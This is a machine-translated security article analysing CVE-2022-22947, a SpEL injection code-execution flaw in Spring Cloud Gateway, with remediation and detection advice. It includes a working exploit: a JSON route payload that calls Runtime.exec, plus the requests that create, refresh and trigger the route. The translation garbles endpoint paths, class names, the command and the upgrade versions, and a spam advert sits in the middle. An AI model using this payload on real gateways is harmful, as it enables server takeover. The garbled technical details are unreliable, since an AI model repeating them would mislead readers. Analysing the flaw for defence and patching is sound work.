Introduction to the
A recent article revealed a remote code execution vulnerability in the open source Project Spring Cloud Gateway, numbered CVE-2022-22947.
Affected version
According to the official announcements of VMWare and Spring, the affected versions are:
- 3.1.0
- 3.0.0 to 3.0.6
- Older, unsupported versions are also affected
Repair plan
Repair plans include:
- 3.1.x users should upgrade to 3.1.1+ and 3.3. x users should upgrade to 3.0.7+.
- This section describes how to configure options without affecting services
management.endpoint.gateway.enabled
Set tofalse
Disable the Gateway actuator endpoint.
Testing ideas
Traffic detection: Analyzes HTTP traffic and detects whether abnormal requests to access the ACTUATOR Gateway API exist.
The host:
- Static detection: before and after repair by comparison
ShortcutConfigurable.class
The difference in the file specifies the signature code from which yara rules are written to find if the affected version exists on the serverspring-cloud-gateway
The jar package. - Dynamic detection: Looks for running Java processes on the server to see if they are loaded
spring-cloud-gateway
The jar package.
Vulnerability analysis
Currently, all the published vulnerability analysis articles are analyzing 3.x version. In order to confirm that 2.x version is also affected, this paper analyzes the finchley. RELEASE released in 2018, and the Spring Cloud Gateway version is 2.0.0.RELEASE.
Environment set up
The demo project code has been uploaded to the GitHub repository.
In the project, a route is defined through a configuration file. After starting the project, visit http://localhost:8080/ip and, if all is well, you will get the following results:
Using the method of
To POST method request/physical/gateway/routes/pentest, and submit the following data, is used to create a malicious routing:
{
"id": "pentest",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "X-Request-Foo",
"": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
},
"uri": "http://httpbin.org/get",
"predicates": [
{
"name": "Method",
"args": {
"_key_0": "GET"
}
},
{
"name": "Path",
"args": {
"_key_0": "/pentest"
}
}
]
}
]
}
Copy the code
id
Field specifies the name of the new route, which must be globally unique.filters
Field specifies several filters for this route. Filters are used to modify requests and responses.name
Field specifies the filter to add, and one is added hereAddResponseHeader
Filter to add a response header before the Gateway returns a response to the client.args.name
Field specifies the response header to add.args.value
Field specifies the value of the response header. The value here is the SpEL expression to be executed for executionwhoami
Command. Note Remove the newline character at the end of the command output; otherwise, the filter will throw an exception saying “the value of the response header cannot end with \r or \n”.uri
Field specifies that the client request is forwarded tohttp://httpbin.org/get
.predicates
Field specifies the condition that matches the route. Two conditions are specified here, one is that the method requested isGET
, one is that the request URI is/pentest
.
For other actuator Gateway apis, see the official documentation [^7].
And then to POST method request/physical/gateway/refresh, used to refresh the routing, gives effect to just add malicious routing.
Finally, request /pentest with GET method, trigger malicious routing. You can see the response header added by the filter in the response:
【 a > all resources to obtain < a 】 1, many have been unable to buy out of print e-books 2, security factory internal training materials 3, a full set of toolkit 4, 100 SRC source code technical documents 5, network security basic introduction, Linux, Web security, attack and defense video 6, emergency response notes 7, network security learning route CTF Flag contest analysis 9. WEB Security Introduction Notes
Analysis of repair scheme
Code Fix
First look at the commit to fix the bug in the official repository:
ShortcutConfigurable interface in the getValue method, using custom GatewayEvaluationContext replaced the original StandardEvaluationContext class. Look at the implementation of the GatewayEvaluationContext class, which is a simple wrapper around the SimpleEvaluationContext class.
By querying document, the class is implemented by all the StandardEvaluationContext and SimpleEvaluationContext Spring SpEL expression of interface, the difference is that the former support SpEL expression all the features, The latter acts as a sandbox, limiting functionality such as references to Java classes. So by putting a StandardEvaluationContext replacement for GatewayEvaluationContext, can restrict the executive SpEL expression of injection.
Disable the physical gateway
Through the front and the exploit process as you can see, the first thing you need to pass/physical/gateway/routes / {id} API to create a routing. Therefore, if this API is prohibited, the vulnerability can also be fixed. [[^7]](Cloud.spring. IO /spring-clou… The Actuator Gateway needs to set the following two configurations:
management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway
Copy the code
Therefore, unless both options are met, the actuator Gateway is not enabled.
Thinking of Vulnerability analysis
Starting with the ShortCut64x interface, most of the built-in filters inherit the ShortCut64x interface. Second, RouteDefinitionRouteLocator class (org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator class) of a private method The loadGatewayFilters function calls the Normalize method of the ShortCut64x interface:
Through simple backtracking, RouteDefinitionRouteLocator class public methods getRoutes will eventually call loadGatewayFilters method, invocation chain is:
loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()
Copy the code
Therefore the /actuator/gateway/routes URI also triggers the execution of the SpEL expression.
Take a closer look at the key functionality of the loadGatewayFilters method:
- parameter
id
Is the name of the route, that is, the parameter when defining the routeid
The value of the. parameterfilterDefinitions
Is an array of filter objects defined in the route. - Method to traverse an array of filter objects:
- Checks whether the specified filter exists. If it does not exist, an exception is thrown
Unable to find GatewayFilterFactory with name
. - If yes, obtain the filter parameters and print debug logs
RouteDefinition {id} applying filter {args} to {filter}
. - call
normalize
Method if the value of the argument isSpEL
The expression is executed; otherwise, it returns directly. - The configuration object is created using the processed parameters, and then the filter instance is created using the filter factory and saved into an array.
- Checks whether the specified filter exists. If it does not exist, an exception is thrown
2. Differences between x and 3.x versions
Emphasis on a hole, there is no difference, both are ShortcutConfigurable interface getValue method were used in the StandardEvaluationContext class to perform SpEL expression.
The first difference is that version 2.x requires an additional request after refreshing the route to trigger the execution of the SpEL expression. In the 3.x version, routes are refreshed immediately.
The second difference is in the call chain for this method. A search of the source code shows that only the Normalize method is called in the ConfigurationService class’s inner class, the ConfigurableBuilder’s normalizeProperties method, which overrides the methods in the parent class. The ConfigurableBuilder class inherits from an internal abstract class called AbstractBuilder. The AbstractBuilder class has a public method called bind that calls the normalizeProperties method.
Following up on the references to the bind method, there are three:
AbstractRateLimiter
Of the classonApplicationEvent
Methods.RouteDefinitionRouteLocator
Of the classloadGatewayFilters
Methods andlookup
Methods.
You can then go back and see all the places that might trigger the execution of an SpEL expression.